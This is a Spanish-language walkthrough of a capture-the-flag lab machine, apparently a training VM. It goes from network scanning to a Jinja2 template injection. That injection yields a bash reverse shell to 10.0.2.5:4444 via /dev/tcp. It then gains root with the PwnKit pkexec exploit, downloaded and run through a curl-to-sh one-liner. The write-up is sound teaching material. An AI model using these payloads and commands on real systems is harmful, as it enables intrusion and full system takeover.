Primero debemos ver que IP tiene asignada la máquina objetivo
sudo netdiscover -i eth1 -r 10.0.2.0/24
Figura 1: Uso de netdiscover
Vemos que la IP objetivo entonces será la 10.0.2.7
sudo nmap -sS -Pn 10.0.2.7
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
31337/tcp open Elite
MAC Address: 08:00:27:9F:E2:46 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Página estática que informa sobre una startup que ofrece software personalizado para gestión de tickets.
Figura 2: Acceso al servicio web (Puerto 80)
Panel para visualizar tickets en desarrollo. Al inspeccionar con Burp Suite, vemos que es una aplicación Flask (Werkzeug 1.0.1/Python 3.6.9).
Figura 3: Acceso al servicio web (Puerto 5000)
Figura 4: Cabeceras de la página web (Puerto 5000)
Si hacemos click en algún ticket vemos que hace uso de plantilla ya que carga el contenido de forma dinámica mediante un parámetro GET id por URL.
Figura 5: Parámetros GET por URL
Servicio personalizado TCP que pide autenticación. Intentamos con credenciales por defecto:
nc 10.0.2.7 31337
Figura 6: Autentificación fallida
Ahora haremos un reconocimiento de usuarios.
Si navegamos al servicio de visualización de tickets e investigamos los contenidos de los
mismos podemos ver que indican ciertos pasos del mantenimiento y creación de la aplicación.
Intentamos acceder con el usuario guest:
nc 10.0.2.7 31337
Obtenemos acceso con comandos limitados (help, update, open, close, exit)
Figura 7: Acceso con el usuario guest
Identificamos que la aplicación usa Jinja2 (motor de plantillas para Python). Creamos un ticket con una prueba de SSTI:
open
Title: {{5*5}}
Description: {{5*5}}
Figura 8: Contenido del ticket
Figura 9: Ticket creado
Al abrir el ticket, vemos que se ejecuta (muestra "25"), confirmando la vulnerabilidad.
Figura 10: Ticket con inyección SSTI
Explotamos la SSTI para obtener una shell reversa:
{{ config.__class__.__init__.__globals__['os'].popen("nohup bash -c 'bash -i >& /dev/tcp/10.0.2.5/4444 0>&1'") }}
Ponemos en escucha el puerto 4444 y hacemos click en el link del ticket para activar la shell.
nc -nlvp 4444
Estabilizamos la shell:
python -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm
Figura 11: Creación y estabilización de la Shell Reversa
Encontramos la clave secreta de Flask en webapp.py:
cat /opt/.web/webapp.py
Figura 12: Análisis del fichero webapp.py
Dentro de este código veremos una key hardcodeada:
app.secret_key = "hackthedaumplanet"
Haciendo una revisión de los usuarios del sistema vemos tres usuarios potencialmente interesantes.
awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd
Figura 13: Listar usuarios reales, no del sistema
Vamos a ver binarios con SUID activo
find / -perm -4000 -type f 2>/dev/null
Figura 14: Binarios con SUID activo.
La lista de SUIDs que vemos parece bastante estándar… casi todo lo que ves está en
instalaciones típicas de Linux, excepto uno potencialmente interesante.
Potencial vector: /usr/bin/pkexec
Verificamos la versión:
pkexec --version
Figura 15: Pkexec vesrión 0.105
Permite escalar de cualquier usuario a root si:
Polkit (antes PolicyKit) es un sistema para manejar privilegios a nivel de sistema.
Es un fallo en cómo pkexec maneja argumentos y variables de entorno.
Como en este caso nuestra máquina cuenta con conexión a internet podemos ejecutar el oneliner que nos proporciona el exploit (https://github.com/ly4k/PwnKit)
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
Figura 16: Ejecución del exploit
Una vez ejecutado obtendremos acceso como root:
cd /root
cat proof.sh
Figura 17: Flag 1 - 1